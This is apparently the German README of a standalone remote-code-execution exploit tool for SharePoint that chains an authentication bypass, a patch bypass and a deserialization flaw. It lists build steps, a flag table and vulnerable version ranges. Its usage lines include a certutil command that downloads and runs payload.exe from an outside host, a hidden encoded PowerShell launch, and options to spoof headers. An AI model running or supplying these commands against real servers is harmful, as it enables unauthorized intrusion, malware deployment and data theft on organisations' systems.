
Glaubst du wirklich, dass SharePoint sicher ist?
Eigenständiges, einzelnes SharePoint-RCE-Tool. Erzeugt eine TypeConfuseDelegate-Gadget-Kette als rohe MS-NRBF-Byte (ohne ysoserial.exe), verpackt sie in einen DataSet-Deserialisierungs-Payload und liefert diesen über HTTP unter Verwendung der Authentifizierungsbypass — alles in einem Schritt.
| Schritt | CVE | Beschreibung |
|---|---|---|
| 1 | CVE-2025-49706 | Auth-Bypass – Referer: /_layouts/SignOut.aspx umgeht die SharePoint-Authentifizierung |
| 2 | CVE-2025-53771 | Patch-Bypass – ein nachgestelltes Pfadsegment nach ToolPane.aspx umgeht die Juli-2025-Korrektur |
| 3 | CVE-2025-49704 | Deserialisierung – ExcelDataSet.CompressedDataTable löst BinaryFormatter auf einem manipulierten DataSet aus |
| 4 | — | Das DataSet-Schema erzwingt LosFormatter.Deserialize() auf dem inneren Payload über ExpandedWrapper + ObjectDataProvider |
| 5 | — | TypeConfuseDelegate – Der Comparer von SortedSet<string> ist Process.Start(string, string), der cmd /c <command> ausführt |
Der gesamte binäre Stream (sowohl der äußere DataSet-Wrapper als auch die innere TypeConfuseDelegate-Gadget) wird als rohe MS-NRBF-Datensätze konstruiert – es wird keine .NET-Laufzeitserialisierung verwendet. Dies entspricht dem Format, das vom Metasploit-Modul Byte für Byte erzeugt wird.
Erfordert .NET Framework 4.8 SDK (Visual Studio 2022 oder eigenständige Build-Tools):
& "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" OurSharePoint.sln /p:Configuration=Release
Ausgabe: OurSharePoint\bin\Release\OurSharePoint.exe (Einzeldatei, keine Abhängigkeiten)
OurSharePoint.exe --cmd="certutil -urlcache -split -f http://10.0.0.5/payload.exe C:\Windows\Temp\p.exe & C:\Windows\Temp\p.exe" --target=https://sp.corp.com
OurSharePoint.exe --cmd="whoami > C:\Windows\Temp\pwned.txt" --target=https://sp.corp.com
OurSharePoint.exe --cmd="powershell -nop -w hidden -enc <base64>" --target=https://sp.corp.com
OurSharePoint.exe --target=https://sp.corp.com --check
OurSharePoint.exe --cmd="calc.exe" --out=exploit
OurSharePoint.exe --cmd="whoami" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > gadget.b64
OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com
Wenn --out verwendet wird, schreibt das Tool:
| Datei | Inhalt |
|---|---|
<prefix>.bin | Roher BinaryFormatter-DataSet-Stream |
<prefix>.b64 | GZip + Base64-kodiert (was in CompressedDataTable eingefügt wird) |
| Edition | Verwundbarer Bereich |
|---|---|
| SharePoint Server Subscription Edition | 16.0.14326.20450 – 16.0.18526.20424 |
| SharePoint Server 2019 | 16.0.10337.12109 – 16.0.10417.20027 |
| SharePoint Enterprise Server 2016 | 16.0.4351.1000 – 16.0.5508.1000 |
| SharePoint Server 2013 | 15.0.4481.1005 – 15.0.5545.1000 |
BinaryWriter geschrieben. Dies vermeidet Unterschiede zwischen der Ausgabe der .NET-Laufzeitserialisierung und dem, was der Ziel-Deserialisierer erwartet.ObjectStateFormatter-Header-Bytes (0xFF 0x01 0x32 + 7-Bit-Länge) umschlossen, anstatt LosFormatter.Serialize() zu verwenden.| Flag | Beschreibung | Standard |
|---|
--cmd=COMMAND | Auszuführender Befehl (wird als cmd /c COMMAND ausgeführt) | — |
--in=FILE | Vorgefertigte Base64-LosFormatter-Payload-Datei | — |
--target=URL | SharePoint-Basis-URL für HTTP-Zustellung | — |
--check | Nur Version identifizieren, kein Payload | — |
--out=PREFIX | Ausgabedatei-Präfix | payload |
--sp-version=VER | Layouts-Pfad-Version (15 oder 16) | 15 |
--proxy=URL | HTTP-Proxy | — |
--ua=STRING | Benutzerdefinierter User-Agent | Firefox 120 |
--referer=URL | Überschreibt den Auth-Bypass-Referer | automatisch |
--timeout=SEC | HTTP-Timeout | 15 |
--a/b/c=NAME | DataSet-/Element-/Spaltennamen | zufällig |